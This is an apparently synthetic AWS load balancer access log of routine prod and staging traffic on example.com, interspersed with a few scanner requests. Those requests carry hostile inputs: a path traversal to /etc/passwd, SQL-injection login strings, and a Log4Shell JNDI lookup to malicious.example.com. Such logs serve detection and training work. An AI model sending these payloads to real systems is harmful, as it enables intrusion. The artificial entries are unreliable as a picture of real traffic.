arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c268-a70f4cbfd60b4d93a54d2877" "prod-api-alb.example.com" "-" 4 2024-11-01T00:46:16.026165Z "forward" "-" "-" "10.0.248.144:443" "200" "-" "-" -https 2024-11-01T00:46:17.615205Z prod-api-alb 62.32.117.203:52207 10.0.222.64:443 0.032065 0.274494 0.089068 200 200 852 8077 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c269-394ba827937b4143bbe3dfdb" "prod-api-alb.example.com" "-" 5 2024-11-01T00:46:17.615205Z "forward" "-" "-" "10.0.222.64:443" "200" "-" "-" -http 2024-11-01T00:46:18.324698Z staging-alb 95.77.31.195:63349 69.89.249.215:80 0.097189 0.676820 0.059278 404 404 487 4320 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c26a-09db9623153043fd874a09d7" "staging-alb.example.com" "-" 10 2024-11-01T00:46:18.324698Z "forward" "-" "-" "69.89.249.215:80" "404" "-" "-" -https 2024-11-01T00:46:19.896605Z prod-web-alb 108.16.145.95:38991 10.0.176.153:443 0.066107 0.368137 0.081744 200 200 124 6963 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c26b-39286bea6c04443090a87b01" "prod-web-alb.example.com" "-" 0 2024-11-01T00:46:19.896605Z "forward" "-" "-" "10.0.176.153:443" "200" "-" "-" -http 2024-11-01T00:46:21.560209Z staging-alb 14.11.118.95:49296 138.206.73.20:80 0.073817 0.646663 0.013466 302 302 738 2386 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c26d-2b8b83bd0024479b8612d7e5" "staging-alb.example.com" "-" 10 2024-11-01T00:46:21.560209Z "forward" "-" "-" "138.206.73.20:80" "302" "-" "-" -https 2024-11-01T00:46:23.040954Z prod-api-alb 118.54.21.120:55115 10.0.212.151:443 0.049908 0.444225 0.086311 200 200 642 4528 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c26f-5e7a7cbdc23a414f8756bbeb" "prod-api-alb.example.com" "-" 8 2024-11-01T00:46:23.040954Z "forward" "-" "-" "10.0.212.151:443" "200" "-" "-" -https 2024-11-01T00:46:23.881410Z prod-api-alb 0.67.145.215:19846 10.0.175.245:443 0.056149 0.350083 0.088976 302 302 815 12198 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c26f-19ac9860466741079c102f4e" "prod-api-alb.example.com" "-" 10 2024-11-01T00:46:23.881410Z "forward" "-" "-" "10.0.175.245:443" "302" "-" "-" -https 2024-11-01T00:46:24.441860Z prod-api-alb 10.135.173.252:12119 10.0.236.184:443 0.059909 0.096484 0.086524 200 200 322 2359 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c270-aabbf58b985f4fa08c289429" "-" "-" 2 2024-11-01T00:46:24.441860Z "forward" "-" "-" "10.0.236.184:443" "200" "-" "-" -https 2024-11-01T00:46:24.811149Z staging-alb 80.217.250.84:57034 197.4.131.7:80 0.026887 0.076875 0.054290 200 200 463 9742 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c270-9a7374a19bd04f85af9e35bc" "staging-alb.example.com" "-" 7 2024-11-01T00:46:24.811149Z "forward" "-" "-" "197.4.131.7:80" "200" "-" "-" -https 2024-11-01T00:46:26.034681Z prod-web-alb 225.198.168.52:59335 10.0.242.20:443 0.020222 0.228006 0.084261 200 200 911 10874 "GET /assets/main.css HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c272-9a0f9d46435d4b76a62a325b" "prod-web-alb.example.com" "-" 0 2024-11-01T00:46:26.034681Z "forward" "-" "-" "10.0.242.20:443" "200" "-" "-" -https 2024-11-01T00:46:27.126646Z prod-api-alb 226.249.193.109:41334 10.0.128.89:443 0.051020 0.321868 0.077838 200 200 524 8263 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c273-9c19e51afa154f5da9bbfea6" "prod-api-alb.example.com" "-" 4 2024-11-01T00:46:27.126646Z "forward" "-" "-" "10.0.128.89:443" "200" "-" "-" -https 2024-11-01T00:46:28.834446Z prod-api-alb 164.98.33.148:10155 10.0.142.184:443 0.024170 0.253376 0.019451 200 200 164 1294 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c274-068fdebbf25c47c1a82f6cd7" "prod-api-alb.example.com" "-" 5 2024-11-01T00:46:28.834446Z "forward" "-" "-" "10.0.142.184:443" "200" "-" "-" -https 2024-11-01T00:46:30.822029Z prod-api-alb 234.156.202.155:52858 10.0.71.240:443 0.018207 0.374502 0.016105 404 404 187 7321 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c276-5338adbf91eb4a5c910aa734" "prod-api-alb.example.com" "-" 10 2024-11-01T00:46:30.822029Z "forward" "-" "-" "10.0.71.240:443" "404" "-" "-" -https 2024-11-01T00:46:31.075790Z prod-api-alb 142.22.205.37:17556 10.0.183.252:443 0.008594 0.303760 0.053759 200 200 373 9791 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c277-86a1201fffd143dbbe9f23c9" "-" "-" 10 2024-11-01T00:46:31.075790Z "forward" "-" "-" "10.0.183.252:443" "200" "-" "-" -https 2024-11-01T00:46:31.914342Z prod-api-alb 185.181.68.44:61763 10.0.243.122:443 0.084474 0.007841 0.023837 403 403 975 9199 "GET /../../../etc/passwd HTTP/1.1" "dirbuster/1.0-RC1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c277-8964d5843bd64111980150b8" "-" "-" 2 2024-11-01T00:46:31.914342Z "forward" "-" "-" "10.0.243.122:443" "403" "-" "-" -http 2024-11-01T00:46:33.112861Z staging-alb 161.50.129.163:63993 118.119.215.56:80 0.073478 0.724279 0.068962 200 200 253 493 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c279-aa2949a7b50a48c0992a8f83" "staging-alb.example.com" "-" 7 2024-11-01T00:46:33.112861Z "forward" "-" "-" "118.119.215.56:80" "200" "-" "-" -https 2024-11-01T00:46:34.146544Z prod-web-alb 4.191.50.161:13442 10.0.170.243:443 0.036535 0.157290 0.082183 301 301 143 2564 "GET /products HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c27a-da42fe1bac2e43c8ad65e6f3" "prod-web-alb.example.com" "-" 9 2024-11-01T00:46:34.146544Z "forward" "-" "-" "10.0.170.243:443" "301" "-" "-" -https 2024-11-01T00:46:34.963765Z prod-api-alb 121.71.209.214:39684 10.0.77.253:443 0.093562 0.472585 0.007493 200 200 278 13210 "GET /api/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c27a-f20c9fbf4cee4f3f84d4a85b" "prod-api-alb.example.com" "-" 6 2024-11-01T00:46:34.963765Z "forward" "-" "-" "10.0.77.253:443" "200" "-" "-" -https 2024-11-01T00:46:35.929682Z staging-alb 116.186.17.227:16894 211.164.52.212:443 0.050546 0.515151 0.098320 301 301 498 5464 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c27b-925b9a7d2c1440d5beba3879" "staging-alb.example.com" "-" 1 2024-11-01T00:46:35.929682Z "forward" "-" "-" "211.164.52.212:443" "301" "-" "-" -https 2024-11-01T00:46:37.812901Z prod-web-alb 174.101.225.21:30116 10.0.22.235:443 0.056361 0.068060 0.059180 404 404 900 12626 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c27d-56540fd5d3664c038470f84b" "prod-web-alb.example.com" "-" 7 2024-11-01T00:46:37.812901Z "forward" "-" "-" "10.0.22.235:443" "404" "-" "-" -https 2024-11-01T00:46:39.044124Z prod-web-alb 236.246.128.61:38930 10.0.2.144:443 0.070755 0.396105 0.067342 200 200 709 2964 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c27f-0af6df698a6c4676a68135b7" "prod-web-alb.example.com" "-" 4 2024-11-01T00:46:39.044124Z "forward" "-" "-" "10.0.2.144:443" "200" "-" "-" -https 2024-11-01T00:46:39.413505Z staging-alb 61.80.150.66:24926 19.80.205.167:8080 0.115011 0.616179 0.070559 200 200 537 9209 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c27f-9e4105fdfd004f9c8b305735" "staging-alb.example.com" "-" 5 2024-11-01T00:46:39.413505Z "forward" "-" "-" "19.80.205.167:8080" "200" "-" "-" -https 2024-11-01T00:46:40.695824Z prod-web-alb 60.226.180.186:44677 10.0.244.178:443 0.073064 0.216948 0.055719 200 200 449 1535 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c280-9e6760c3c5bd4766b58d5439" "prod-web-alb.example.com" "-" 10 2024-11-01T00:46:40.695824Z "forward" "-" "-" "10.0.244.178:443" "200" "-" "-" -http 2024-11-01T00:46:42.456322Z staging-alb 104.11.120.193:21182 165.158.246.227:8080 0.079670 0.557525 0.000160 200 200 130 3308 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c282-8bdd2c95796248b7b65b53ac" "staging-alb.example.com" "-" 1 2024-11-01T00:46:42.456322Z "forward" "-" "-" "165.158.246.227:8080" "200" "-" "-" -https 2024-11-01T00:46:43.725646Z prod-api-alb 149.186.250.6:53372 10.0.114.17:443 0.025420 0.337178 0.063051 200 200 700 5953 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c283-eca8545f19f84929a0b49efd" "prod-api-alb.example.com" "-" 7 2024-11-01T00:46:43.725646Z "forward" "-" "-" "10.0.114.17:443" "200" "-" "-" -http 2024-11-01T00:46:45.358314Z staging-alb 45.155.205.170:19980 127.236.228.127:443 0.076780 0.124787 0.111455 200 200 710 9293 "POST /login?id=1'-- HTTP/1.1" "zgrab/0.x" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c285-fb2f21bb60374bedb79d388c" "-" "-" 2 2024-11-01T00:46:45.358314Z "forward" "-" "-" "127.236.228.127:443" "200" "-" "-" -https 2024-11-01T00:46:46.297169Z prod-web-alb 31.81.153.93:45626 10.0.17.124:443 0.072624 0.373032 0.088454 200 200 503 860 "GET /products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c286-3f87ade7d2da4b32a7b7c714" "prod-web-alb.example.com" "-" 10 2024-11-01T00:46:46.297169Z "forward" "-" "-" "10.0.17.124:443" "200" "-" "-" -https 2024-11-01T00:46:47.359900Z prod-web-alb 57.1.22.185:62435 10.0.74.168:443 0.031907 0.016765 0.043658 302 302 644 3162 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c287-c83550ca34b64ddcb621073a" "prod-web-alb.example.com" "-" 10 2024-11-01T00:46:47.359900Z "forward" "-" "-" "10.0.74.168:443" "302" "-" "-" -https 2024-11-01T00:46:47.879845Z prod-api-alb 33.235.238.126:43903 10.0.53.162:443 0.077050 0.421489 0.070740 200 200 704 10221 "GET /api/v1/orders HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c287-b55305b5a4e446a5a57b77ac" "prod-api-alb.example.com" "-" 5 2024-11-01T00:46:47.879845Z "forward" "-" "-" "10.0.53.162:443" "200" "-" "-" -https 2024-11-01T00:46:48.666002Z staging-alb 185.181.125.99:29327 187.41.77.53:80 0.135631 0.266120 0.090815 403 403 856 1588 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c288-696d3109058641c3a774ad1d" "-" "-" 6 2024-11-01T00:46:48.666002Z "forward" "-" "-" "187.41.77.53:80" "403" "-" "-" -https 2024-11-01T00:46:49.057357Z prod-api-alb 189.118.32.79:51226 10.0.201.204:443 0.035699 0.367992 0.008635 302 302 245 11584 "GET /api/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c289-f8685e39dec04af38935e1e6" "prod-api-alb.example.com" "-" 3 2024-11-01T00:46:49.057357Z "forward" "-" "-" "10.0.201.204:443" "302" "-" "-" -https 2024-11-01T00:46:50.187397Z prod-api-alb 77.215.232.135:36685 10.0.149.48:443 0.030306 0.024894 0.074846 200 200 221 9207 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c28a-1a0c47cb9feb4823b3dce98c" "prod-api-alb.example.com" "-" 7 2024-11-01T00:46:50.187397Z "forward" "-" "-" "10.0.149.48:443" "200" "-" "-" -http 2024-11-01T00:46:51.127317Z staging-alb 234.161.30.183:49009 136.245.26.28:80 0.127353 0.714915 0.061329 200 200 586 10080 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c28b-e8e7e7314a78499d944bfa5b" "staging-alb.example.com" "-" 3 2024-11-01T00:46:51.127317Z "forward" "-" "-" "136.245.26.28:80" "200" "-" "-" -https 2024-11-01T00:46:51.442395Z prod-web-alb 232.227.18.1:43906 10.0.57.73:443 0.062914 0.031483 0.038322 200 200 3 2648 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c28b-775bfec280a049e7bcfe6266" "prod-web-alb.example.com" "-" 5 2024-11-01T00:46:51.442395Z "forward" "-" "-" "10.0.57.73:443" "200" "-" "-" -https 2024-11-01T00:46:52.343949Z prod-api-alb 74.9.113.222:17349 10.0.59.201:443 0.024084 0.482872 0.004677 200 200 410 7885 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c28c-2d89487960c147f4afa96ea8" "prod-api-alb.example.com" "-" 4 2024-11-01T00:46:52.343949Z "forward" "-" "-" "10.0.59.201:443" "200" "-" "-" -https 2024-11-01T00:46:52.863823Z prod-web-alb 249.116.224.46:29418 10.0.146.13:443 0.047366 0.218096 0.081891 200 200 114 10197 "GET /checkout HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c28c-af41f5d2a63c4ed382fa4aca" "prod-web-alb.example.com" "-" 2 2024-11-01T00:46:52.863823Z "forward" "-" "-" "10.0.146.13:443" "200" "-" "-" -https 2024-11-01T00:46:52.969457Z prod-api-alb 244.115.217.128:53993 10.0.182.84:443 0.015439 0.450325 0.046036 200 200 210 2201 "GET /api/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c28c-a821f2ba97fa4216914193ac" "prod-api-alb.example.com" "-" 6 2024-11-01T00:46:52.969457Z "forward" "-" "-" "10.0.182.84:443" "200" "-" "-" -https 2024-11-01T00:46:54.686320Z prod-web-alb 185.181.39.39:50964 10.0.65.77:443 0.057041 0.453370 0.052756 200 200 334 13152 "GET /admin/login?username=admin'--&password=x HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c28e-5a85504aa59044969d3de9ef" "-" "-" 3 2024-11-01T00:46:54.686320Z "forward" "-" "-" "10.0.65.77:443" "200" "-" "-" -https 2024-11-01T00:46:56.655609Z prod-api-alb 35.70.238.129:17300 10.0.33.200:443 0.060085 0.070110 0.038248 302 302 401 14061 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c290-0110684dc49c474cad96bb38" "prod-api-alb.example.com" "-" 5 2024-11-01T00:46:56.655609Z "forward" "-" "-" "10.0.33.200:443" "302" "-" "-" -https 2024-11-01T00:46:58.182790Z staging-alb 6.110.148.212:10322 79.35.234.86:8080 0.138051 0.050229 0.121250 200 200 405 7117 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c292-fc365d90886e461a89d8796f" "staging-alb.example.com" "-" 8 2024-11-01T00:46:58.182790Z "forward" "-" "-" "79.35.234.86:8080" "200" "-" "-" -https 2024-11-01T00:46:58.767356Z prod-api-alb 23.65.37.76:56984 10.0.161.74:443 0.017442 0.036906 0.065933 404 404 307 1669 "GET /api/health HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c292-427f2114764b4d238b2a8e95" "prod-api-alb.example.com" "-" 2 2024-11-01T00:46:58.767356Z "forward" "-" "-" "10.0.161.74:443" "404" "-" "-" -https 2024-11-01T00:47:00.210755Z prod-web-alb 173.1.135.104:52925 10.0.23.104:443 0.093238 0.343846 0.066531 200 200 996 10837 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c294-1aec70a740d64cadb75f0500" "prod-web-alb.example.com" "-" 3 2024-11-01T00:47:00.210755Z "forward" "-" "-" "10.0.23.104:443" "200" "-" "-" -https 2024-11-01T00:47:01.974550Z prod-api-alb 181.63.94.197:15066 10.0.104.114:443 0.074631 0.345972 0.074742 200 200 184 2728 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c295-2609c8e71a4a4e5c81c08cc0" "prod-api-alb.example.com" "-" 1 2024-11-01T00:47:01.974550Z "forward" "-" "-" "10.0.104.114:443" "200" "-" "-" -https 2024-11-01T00:47:03.129000Z prod-web-alb 50.62.204.14:40139 10.0.134.108:443 0.059821 0.365944 0.051886 404 404 361 8140 "GET /cart HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c297-ae2bb4bcc6084b099ca40901" "prod-web-alb.example.com" "-" 0 2024-11-01T00:47:03.129000Z "forward" "-" "-" "10.0.134.108:443" "404" "-" "-" -https 2024-11-01T00:47:04.814135Z prod-api-alb 176.30.247.131:39594 10.0.249.180:443 0.016242 0.010423 0.083111 200 200 983 14648 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c298-1bb6f59ef08a41a992ed0e1c" "prod-api-alb.example.com" "-" 4 2024-11-01T00:47:04.814135Z "forward" "-" "-" "10.0.249.180:443" "200" "-" "-" -https 2024-11-01T00:47:06.190566Z prod-web-alb 249.77.0.36:13372 10.0.131.127:443 0.048471 0.170233 0.014646 301 301 57 14160 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c29a-51b5f682077446ca929d759d" "prod-web-alb.example.com" "-" 3 2024-11-01T00:47:06.190566Z "forward" "-" "-" "10.0.131.127:443" "301" "-" "-" -http 2024-11-01T00:47:07.245504Z staging-alb 174.75.204.29:22040 46.92.77.156:8080 0.115234 0.004643 0.082597 404 404 786 7450 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c29b-f2bd2d02dbed4edcaae219dc" "staging-alb.example.com" "-" 4 2024-11-01T00:47:07.245504Z "forward" "-" "-" "46.92.77.156:8080" "404" "-" "-" -http 2024-11-01T00:47:07.916373Z staging-alb 192.216.214.130:32122 45.150.17.22:8080 0.075318 0.679862 0.070590 404 404 723 9064 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c29b-9b656beb50f144c9aff631d6" "staging-alb.example.com" "-" 10 2024-11-01T00:47:07.916373Z "forward" "-" "-" "45.150.17.22:8080" "404" "-" "-" -https 2024-11-01T00:47:08.753490Z staging-alb 228.245.9.49:13980 114.154.54.70:443 0.132183 0.711274 0.062516 200 200 785 2450 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) 